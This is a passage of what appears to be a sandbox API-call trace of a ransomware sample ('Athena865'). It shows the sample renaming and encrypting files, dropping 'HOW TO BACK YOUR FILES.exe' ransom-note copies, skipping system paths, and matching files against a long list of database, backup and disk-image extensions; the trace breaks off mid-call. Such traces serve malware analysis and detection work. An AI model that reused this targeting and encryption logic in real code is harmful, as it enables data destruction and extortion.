lstrcmpiW (lpString1="dll", lpString2="xld") returned -1 [0091.475] lstrlenW (lpString="xmlff") returned 5 [0091.475] lstrcmpiW (lpString1="r.dll", lpString2="xmlff") returned -1 [0091.475] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Windows NT\\Accessories\\WordpadFilter.dll.Athena865") returned 67 [0091.475] MoveFileExW (lpExistingFileName="C:\\Program Files\\Windows NT\\Accessories\\WordpadFilter.dll" (normalized: "c:\\program files\\windows nt\\accessories\\wordpadfilter.dll"), lpNewFileName="C:\\Program Files\\Windows NT\\Accessories\\WordpadFilter.dll.Athena865" (normalized: "c:\\program files\\windows nt\\accessories\\wordpadfilter.dll.athena865"), dwFlags=0x1) returned 1 [0091.512] CreateFileW (lpFileName="C:\\Program Files\\Windows NT\\Accessories\\WordpadFilter.dll.Athena865" (normalized: "c:\\program files\\windows nt\\accessories\\wordpadfilter.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0091.515] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=237568) returned 1 [0091.516] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0091.517] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d2a0 [0091.518] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518f80 [0091.521] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518ef8) returned 1 [0091.522] CryptGenRandom (in: hProv=0x518ef8, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0091.522] CryptReleaseContext (hProv=0x518ef8, dwFlags=0x0) returned 1 [0091.522] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3a300, lpName=0x0) returned 0x17c [0091.524] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3a300) returned 0x170000 [0091.539] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518ef8) returned 1 [0091.540] CryptGenRandom (in: hProv=0x518ef8, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0091.540] CryptReleaseContext (hProv=0x518ef8, dwFlags=0x0) returned 1 [0091.540] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d228 [0091.540] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d228 | out: hHeap=0x4f0000) returned 1 [0091.540] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0091.540] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0091.540] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0091.540] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0091.540] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0091.541] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0091.541] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0091.541] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0091.541] UnmapViewOfFile (lpBaseAddress=0x170000) returned 1 [0091.543] CloseHandle (hObject=0x17c) returned 1 [0091.543] CloseHandle (hObject=0x154) returned 1 [0091.543] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d2a0 | out: hHeap=0x4f0000) returned 1 [0091.543] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518f80 | out: hHeap=0x4f0000) returned 1 [0091.543] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0091.544] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea54dff0, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xea54dff0, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x464289e0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x3a000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="WordpadFilter.dll", cAlternateFileName="")) returned 0 [0091.544] FindClose (in: hFindFile=0x529410 | out: hFindFile=0x529410) returned 1 [0091.544] ReleaseMutex (hMutex=0xec) returned 1 [0091.544] CloseHandle (hObject=0xec) returned 1 [0091.544] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Program Files\\Windows NT\\TableTextService" | out: lpString1="C:\\Program Files\\Windows NT\\TableTextService") returned="C:\\Program Files\\Windows NT\\TableTextService" [0091.544] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x51bae8 | out: hHeap=0x4f0000) returned 1 [0091.544] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52f820 | out: hHeap=0x4f0000) returned 1 [0091.544] lstrlenW (lpString="C:\\Program Files\\Windows NT\\TableTextService") returned 44 [0091.544] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\0032BD13882B1E4A431E7CEDDFE14B18") returned 0xec [0091.545] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0091.545] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Windows NT\\TableTextService" | out: lpString1="C:\\Program Files\\Windows NT\\TableTextService") returned="C:\\Program Files\\Windows NT\\TableTextService" [0091.545] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0091.545] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Windows NT\\TableTextService\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\windows nt\\tabletextservice\\how to back your files.exe"), bFailIfExists=1) returned 0 [0091.545] CreateFileW (lpFileName="C:\\Program Files\\Windows NT\\TableTextService\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\windows nt\\tabletextservice\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0091.545] GetLastError () returned 0x0 [0091.545] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0091.546] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x53ad08 [0091.546] ReadFile (in: hFile=0xf4, lpBuffer=0x53ad08, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x53ad08*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0091.546] CloseHandle (hObject=0xf4) returned 1 [0091.546] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x53ad08 | out: hHeap=0x4f0000) returned 1 [0091.546] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0091.547] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows NT\\TableTextService\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8ab1dc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xc02e2160, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc02e2160, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529410 [0091.547] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0091.547] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0091.547] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0091.547] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8ab1dc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xc02e2160, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc02e2160, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0091.547] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0091.547] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0091.547] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0091.547] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0091.547] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0091.547] lstrcmpiW (lpString1="en-US", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0091.547] lstrcmpiW (lpString1="en-US", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0091.547] lstrcmpiW (lpString1="en-US", lpString2=".") returned 1 [0091.547] lstrcmpiW (lpString1="en-US", lpString2="..") returned 1 [0091.547] lstrcmpiW (lpString1="en-US", lpString2="windows") returned -1 [0091.547] lstrcmpiW (lpString1="en-US", lpString2="bootmgr") returned 1 [0091.547] lstrcmpiW (lpString1="en-US", lpString2="temp") returned -1 [0091.547] lstrcmpiW (lpString1="en-US", lpString2="pagefile.sys") returned -1 [0091.547] lstrcmpiW (lpString1="en-US", lpString2="boot") returned 1 [0091.547] lstrcmpiW (lpString1="en-US", lpString2="ids.txt") returned -1 [0091.547] lstrcmpiW (lpString1="en-US", lpString2="ntuser.dat") returned -1 [0091.547] lstrcmpiW (lpString1="en-US", lpString2="perflogs") returned -1 [0091.547] lstrcmpiW (lpString1="en-US", lpString2="MSBuild") returned -1 [0091.547] lstrlenW (lpString="en-US") returned 5 [0091.547] lstrcpyW (in: lpString1=0x241e8a2, lpString2="en-US" | out: lpString1="en-US") returned="en-US" [0091.548] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52f820 [0091.548] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x66) returned 0x53a5e0 [0091.548] lstrcatW (in: lpString1="en-US", lpString2="\\" | out: lpString1="en-US\\") returned="en-US\\" [0091.548] lstrcatW (in: lpString1="en-US\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="en-US\\HOW TO BACK YOUR FILES.exe") returned="en-US\\HOW TO BACK YOUR FILES.exe" [0091.548] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Windows NT\\TableTextService\\en-US\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\windows nt\\tabletextservice\\en-us\\how to back your files.exe"), bFailIfExists=1) returned 1 [0091.551] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc02e2160, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xc02e2160, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0091.551] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0091.551] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x46672035, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x46672035, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x449faf50, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x5bc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="TableTextService.dll", cAlternateFileName="")) returned 1 [0091.551] lstrcmpiW (lpString1="TableTextService.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0091.551] lstrcmpiW (lpString1="TableTextService.dll", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0091.551] lstrcmpiW (lpString1="TableTextService.dll", lpString2=".") returned 1 [0091.551] lstrcmpiW (lpString1="TableTextService.dll", lpString2="..") returned 1 [0091.551] lstrcmpiW (lpString1="TableTextService.dll", lpString2="windows") returned -1 [0091.551] lstrcmpiW (lpString1="TableTextService.dll", lpString2="bootmgr") returned 1 [0091.551] lstrcmpiW (lpString1="TableTextService.dll", lpString2="temp") returned -1 [0091.551] lstrcmpiW (lpString1="TableTextService.dll", lpString2="pagefile.sys") returned 1 [0091.551] lstrcmpiW (lpString1="TableTextService.dll", lpString2="boot") returned 1 [0091.551] lstrcmpiW (lpString1="TableTextService.dll", lpString2="ids.txt") returned 1 [0091.551] lstrcmpiW (lpString1="TableTextService.dll", lpString2="ntuser.dat") returned 1 [0091.551] lstrcmpiW (lpString1="TableTextService.dll", lpString2="perflogs") returned 1 [0091.551] lstrcmpiW (lpString1="TableTextService.dll", lpString2="MSBuild") returned 1 [0091.551] lstrlenW (lpString="TableTextService.dll") returned 20 [0091.551] lstrcpyW (in: lpString1=0x241e8a2, lpString2="TableTextService.dll" | out: lpString1="TableTextService.dll") returned="TableTextService.dll" [0091.551] lstrlenW (lpString="TableTextService.dll") returned 20 [0091.551] lstrlenW (lpString="Athena865") returned 9 [0091.551] lstrcmpiW (lpString1="rvice.dll", lpString2="Athena865") returned 1 [0091.551] lstrlenW (lpString=".dll") returned 4 [0091.551] lstrcmpiW (lpString1="TableTextService.dll", lpString2=".dll") returned 1 [0091.551] lstrlenW (lpString=".lnk") returned 4 [0091.551] lstrcmpiW (lpString1="TableTextService.dll", lpString2=".lnk") returned 1 [0091.551] lstrlenW (lpString=".ini") returned 4 [0091.551] lstrcmpiW (lpString1="TableTextService.dll", lpString2=".ini") returned 1 [0091.551] lstrlenW (lpString=".sys") returned 4 [0091.552] lstrcmpiW (lpString1="TableTextService.dll", lpString2=".sys") returned 1 [0091.552] lstrlenW (lpString="TableTextService.dll") returned 20 [0091.552] lstrlenW (lpString="bak") returned 3 [0091.552] lstrcmpiW (lpString1="dll", lpString2="bak") returned 1 [0091.552] lstrlenW (lpString="ba_") returned 3 [0091.552] lstrcmpiW (lpString1="dll", lpString2="ba_") returned 1 [0091.552] lstrlenW (lpString="dbb") returned 3 [0091.552] lstrcmpiW (lpString1="dll", lpString2="dbb") returned 1 [0091.552] lstrlenW (lpString="vmdk") returned 4 [0091.552] lstrcmpiW (lpString1=".dll", lpString2="vmdk") returned -1 [0091.552] lstrlenW (lpString="rar") returned 3 [0091.552] lstrcmpiW (lpString1="dll", lpString2="rar") returned -1 [0091.552] lstrlenW (lpString="zip") returned 3 [0091.552] lstrcmpiW (lpString1="dll", lpString2="zip") returned -1 [0091.552] lstrlenW (lpString="tgz") returned 3 [0091.552] lstrcmpiW (lpString1="dll", lpString2="tgz") returned -1 [0091.552] lstrlenW (lpString="vbox") returned 4 [0091.552] lstrcmpiW (lpString1=".dll", lpString2="vbox") returned -1 [0091.552] lstrlenW (lpString="vdi") returned 3 [0091.552] lstrcmpiW (lpString1="dll", lpString2="vdi") returned -1 [0091.552] lstrlenW (lpString="vhd") returned 3 [0091.552] lstrcmpiW (lpString1="dll", lpString2="vhd") returned -1 [0091.552] lstrlenW (lpString="vhdx") returned 4 [0091.552] lstrcmpiW (lpString1=".dll", lpString2="vhdx") returned -1 [0091.552] lstrlenW (lpString="avhd") returned 4 [0091.552] lstrcmpiW (lpString1=".dll", lpString2="avhd") returned -1 [0091.552] lstrlenW (lpString="db") returned 2 [0091.552] lstrcmpiW (lpString1="ll", lpString2="db") returned 1 [0091.552] lstrlenW (lpString="db2") returned 3 [0091.552] lstrcmpiW (lpString1="dll", lpString2="db2") returned 1 [0091.553] lstrlenW (lpString="db3") returned 3 [0091.553] lstrcmpiW (lpString1="dll", lpString2="db3") returned 1 [0091.553] lstrlenW (lpString="dbf") returned 3 [0091.553] lstrcmpiW (lpString1="dll", lpString2="dbf") returned 1 [0091.553] lstrlenW (lpString="mdf") returned 3 [0091.553] lstrcmpiW (lpString1="dll", lpString2="mdf") returned -1 [0091.553] lstrlenW (lpString="mdb") returned 3 [0091.553] lstrcmpiW (lpString1="dll", lpString2="mdb") returned -1 [0091.553] lstrlenW (lpString="sql") returned 3 [0091.553] lstrcmpiW (lpString1="dll", lpString2="sql") returned -1 [0091.553] lstrlenW (lpString="sqlite") returned 6 [0091.553] lstrcmpiW (lpString1="ce.dll", lpString2="sqlite") returned -1 [0091.553] lstrlenW (lpString="sqlite3") returned 7 [0091.553] lstrcmpiW (lpString1="ice.dll", lpString2="sqlite3") returned -1 [0091.553] lstrlenW (lpString="sqlitedb") returned 8 [0091.553] lstrcmpiW (lpString1="vice.dll", lpString2="sqlitedb") returned 1 [0091.553] lstrlenW (lpString="xml") returned 3 [0091.553] lstrcmpiW (lpString1="dll", lpString2="xml") returned -1 [0091.553] lstrlenW (lpString="$er") returned 3 [0091.553] lstrcmpiW (lpString1="dll", lpString2="$er") returned 1 [0091.553] lstrlenW (lpString="4dd") returned 3 [0091.553] lstrcmpiW (lpString1="dll", lpString2="4dd") returned 1 [0091.553] lstrlenW (lpString="4dl") returned 3 [0091.553] lstrcmpiW (lpString1="dll", lpString2="4dl") returned 1 [0091.553] lstrlenW (lpString="^^^") returned 3 [0091.553] lstrcmpiW (lpString1="dll", lpString2="^^^") returned 1 [0091.553] lstrlenW (lpString="abs") returned 3 [0091.553] lstrcmpiW (lpString1="dll", lpString2="abs") returned 1 [0091.553] lstrlenW (lpString="abx") returned 3 [0091.553] lstrcmpiW (lpString1="dll", lpString2="abx") returned 1 [0091.553] lstrlenW (lpString="accdb") returned 5 [0091.554] lstrcmpiW (lpString1="e.dll", lpString2="accdb") returned 1 [0091.554] lstrlenW (lpString="accdc") returned 5 [0091.554] lstrcmpiW (lpString1="e.dll", lpString2="accdc") returned 1 [0091.554] lstrlenW (lpString="accde") returned 5 [0091.554] lstrcmpiW (lpString1="e.dll", lpString2="accde") returned 1 [0091.554] lstrlenW (lpString="accdr") returned 5 [0091.554] lstrcmpiW (lpString1="e.dll", lpString2="accdr") returned 1 [0091.554] lstrlenW (lpString="accdt") returned 5 [0091.554] lstrcmpiW (lpString1="e.dll", lpString2="accdt") returned 1 [0091.554] lstrlenW (lpString="accdw") returned 5 [0091.554] lstrcmpiW (lpString1="e.dll", lpString2="accdw") returned 1 [0091.554] lstrlenW (lpString="accft") returned 5 [0091.554] lstrcmpiW (lpString1="e.dll", lpString2="accft") returned 1 [0091.554] lstrlenW (lpString="adb") returned 3 [0091.554] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1 [0091.554] lstrlenW (lpString="adb") returned 3 [0091.554] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1 [0091.554] lstrlenW (lpString="ade") returned 3 [0091.554] lstrcmpiW (lpString1="dll", lpString2="ade") returned 1 [0091.554] lstrlenW (lpString="adf") returned 3 [0091.554] lstrcmpiW (lpString1="dll", lpString2="adf") returned 1 [0091.554] lstrlenW (lpString="adn") returned 3 [0091.554] lstrcmpiW (lpString1="dll", lpString2="adn") returned 1 [0091.554] lstrlenW (lpString="adp") returned 3 [0091.554] lstrcmpiW (lpString1="dll", lpString2="adp") returned 1 [0091.554] lstrlenW (lpString="alf") returned 3 [0091.554] lstrcmpiW (lpString1="dll", lpString2="alf") returned 1 [0091.554] lstrlenW (lpString="ask") returned 3 [0091.554] lstrcmpiW (lpString1="dll", lpString2="ask") returned 1 [0091.554] lstrlenW (lpString="btr") returned 3 [0091.554] lstrcmpiW (lpString1="dll", lpString2="btr") returned 1 [0091.555] lstrlenW (lpString="cat") returned 3 [0091.555] lstrcmpiW (lpString1="dll", lpString2="cat") returned 1 [0091.555] lstrlenW (lpString="cdb") returned 3 [0091.555] lstrcmpiW (lpString1="dll", lpString2="cdb") returned 1 [0091.555] lstrlenW (lpString="ckp") returned 3 [0091.555] lstrcmpiW (lpString1="dll", lpString2="ckp") returned 1 [0091.555] lstrlenW (lpString="cma") returned 3 [0091.555] lstrcmpiW (lpString1="dll", lpString2="cma") returned 1 [0091.555] lstrlenW (lpString="cpd") returned 3 [0091.555] lstrcmpiW (lpString1="dll", lpString2="cpd") returned 1 [0091.555] lstrlenW (lpString="dacpac") returned 6 [0091.555] lstrcmpiW (lpString1="ce.dll", lpString2="dacpac") returned -1 [0091.555] lstrlenW (lpString="dad") returned 3 [0091.555] lstrcmpiW (lpString1="dll", lpString2="dad") returned 1 [0091.555] lstrlenW (lpString="dadiagrams") returned 10 [0091.555] lstrcmpiW (lpString1="ervice.dll", lpString2="dadiagrams") returned 1 [0091.555] lstrlenW (lpString="daschema") returned 8 [0091.555] lstrcmpiW (lpString1="vice.dll", lpString2="daschema") returned 1 [0091.555] lstrlenW (lpString="db-journal") returned 10 [0091.555] lstrcmpiW (lpString1="ervice.dll", lpString2="db-journal") returned 1 [0091.555] lstrlenW (lpString="db-shm") returned 6 [0091.555] lstrcmpiW (lpString1="ce.dll", lpString2="db-shm") returned -1 [0091.555] lstrlenW (lpString="db-wal") returned 6 [0091.555] lstrcmpiW (lpString1="ce.dll", lpString2="db-wal") returned -1 [0091.555] lstrlenW (lpString="dbc") returned 3 [0091.555] lstrcmpiW (lpString1="dll", lpString2="dbc") returned 1 [0091.555] lstrlenW (lpString="dbs") returned 3 [0091.555] lstrcmpiW (lpString1="dll", lpString2="dbs") returned 1 [0091.555] lstrlenW (lpString="dbt") returned 3 [0091.555] lstrcmpiW (lpString1="dll", lpString2="dbt") returned 1 [0091.556] lstrlenW (lpString="dbv") returned 3 [0091.556] lstrcmpiW (lpString1="dll", lpString2="dbv") returned 1 [0091.556] lstrlenW (lpString="dbx") returned 3 [0091.556] lstrcmpiW (lpString1="dll", lpString2="dbx") returned 1 [0091.556] lstrlenW (lpString="dcb") returned 3 [0091.556] lstrcmpiW (lpString1="dll", lpString2="dcb") returned 1 [0091.556] lstrlenW (lpString="dct") returned 3 [0091.556] lstrcmpiW (lpString1="dll", lpString2="dct") returned 1 [0091.556] lstrlenW (lpString="dcx") returned 3 [0091.556] lstrcmpiW (lpString1="dll", lpString2="dcx") returned 1 [0091.556] lstrlenW (lpString="ddl") returned 3 [0091.556] lstrcmpiW (lpString1="dll", lpString2="ddl") returned 1 [0091.556] lstrlenW (lpString="dlis") returned 4 [0091.556] lstrcmpiW (lpString1=".dll", lpString2="dlis") returned -1 [0091.556] lstrlenW (lpString="dp1") returned 3 [0091.556] lstrcmpiW (lpString1="dll", lpString2="dp1") returned -1 [0091.556] lstrlenW (lpString="dqy") returned 3 [0091.556] lstrcmpiW (lpString1="dll", lpString2="dqy") returned -1 [0091.556] lstrlenW (lpString="dsk") returned 3 [0091.556] lstrcmpiW (lpString1="dll", lpString2="dsk") returned -1 [0091.556] lstrlenW (lpString="dsn") returned 3 [0091.556] lstrcmpiW (lpString1="dll", lpString2="dsn") returned -1 [0091.556] lstrlenW (lpString="dtsx") returned 4 [0091.556] lstrcmpiW (lpString1=".dll", lpString2="dtsx") returned -1 [0091.556] lstrlenW (lpString="dxl") returned 3 [0091.556] lstrcmpiW (lpString1="dll", lpString2="dxl") returned -1 [0091.556] lstrlenW (lpString="eco") returned 3 [0091.556] lstrcmpiW (lpString1="dll", lpString2="eco") returned -1 [0091.556] lstrlenW (lpString="ecx") returned 3 [0091.556] lstrcmpiW (lpString1="dll", lpString2="ecx") returned -1 [0091.556] lstrlenW (lpString="edb") returned 3 [0091.557] lstrcmpiW (lpString1="dll", lpString2="edb") returned -1 [0091.557] lstrlenW (lpString="epim") returned 4 [0091.557] lstrcmpiW (lpString1=".dll", lpString2="epim") returned -1 [0091.557] lstrlenW (lpString="fcd") returned 3 [0091.557] lstrcmpiW (lpString1="dll", lpString2="fcd") returned -1 [0091.557] lstrlenW (lpString="fdb") returned 3 [0091.557] lstrcmpiW (lpString1="dll", lpString2="fdb") returned -1 [0091.557] lstrlenW (lpString="fic") returned 3 [0091.557] lstrcmpiW (lpString1="dll", lpString2="fic") returned -1 [0091.557] lstrlenW (lpString="flexolibrary") returned 12 [0091.557] lstrcmpiW (lpString1="tService.dll", lpString2="flexolibrary") returned 1 [0091.557] lstrlenW (lpString="fm5") returned 3 [0091.557] lstrcmpiW (lpString1="dll", lpString2="fm5") returned -1 [0091.557] lstrlenW (lpString="fmp") returned 3 [0091.557] lstrcmpiW (lpString1="dll", lpString2="fmp") returned -1 [0091.557] lstrlenW (lpString="fmp12") returned 5 [0091.557] lstrcmpiW (lpString1="e.dll", lpString2="fmp12") returned -1 [0091.557] lstrlenW (lpString="fmpsl") returned 5 [0091.557] lstrcmpiW (lpString1="e.dll", lpString2="fmpsl") returned -1 [0091.557] lstrlenW (lpString="fol") returned 3 [0091.557] lstrcmpiW (lpString1="dll", lpString2="fol") returned -1 [0091.557] lstrlenW (lpString="fp3") returned 3 [0091.557] lstrcmpiW (lpString1="dll", lpString2="fp3") returned -1 [0091.557] lstrlenW (lpString="fp4") returned 3 [0091.557] lstrcmpiW (lpString1="dll", lpString2="fp4") returned -1 [0091.557] lstrlenW (lpString="fp5") returned 3 [0091.557] lstrcmpiW (lpString1="dll", lpString2="fp5") returned -1 [0091.557] lstrlenW (lpString="fp7") returned 3 [0091.557] lstrcmpiW (lpString1="dll", lpString2="fp7") returned -1 [0091.557] lstrlenW (lpString="fpt") returned 3 [0091.558] lstrcmpiW (lpString1="dll", lpString2="fpt") returned -1 [0091.558] lstrlenW (lpString="frm") returned 3 [0091.558] lstrcmpiW (lpString1="dll", lpString2="frm") returned -1 [0091.558] lstrlenW (lpString="gdb") returned 3 [0091.558] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1 [0091.558] lstrlenW (lpString="gdb") returned 3 [0091.558] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1 [0091.558] lstrlenW (lpString="grdb") returned 4 [0091.558] lstrcmpiW (lpString1=".dll", lpString2="grdb") returned -1 [0091.558] lstrlenW (lpString="gwi") returned 3 [0091.558] lstrcmpiW (lpString1="dll", lpString2="gwi") returned -1 [0091.558] lstrlenW (lpString="hdb") returned 3 [0091.558] lstrcmpiW (lpString1="dll", lpString2="hdb") returned -1 [0091.558] lstrlenW (lpString="his") returned 3 [0091.558] lstrcmpiW (lpString1="dll", lpString2="his") returned -1 [0091.558] lstrlenW (lpString="ib") returned 2 [0091.558] lstrcmpiW (lpString1="ll", lpString2="ib") returned 1 [0091.558] lstrlenW (lpString="idb") returned 3 [0091.558] lstrcmpiW (lpString1="dll", lpString2="idb") returned -1 [0091.558] lstrlenW (lpString="ihx") returned 3 [0091.558] lstrcmpiW (lpString1="dll", lpString2="ihx") returned -1 [0091.558] lstrlenW (lpString="itdb") returned 4 [0091.558] lstrcmpiW (lpString1=".dll", lpString2="itdb") returned -1 [0091.558] lstrlenW (lpString="itw") returned 3 [0091.558] lstrcmpiW (lpString1="dll", lpString2="itw") returned -1 [0091.558] lstrlenW (lpString="jet") returned 3 [0091.558] lstrcmpiW (lpString1="dll", lpString2="jet") returned -1 [0091.558] lstrlenW (lpString="jtx") returned 3 [0091.558] lstrcmpiW (lpString1="dll", 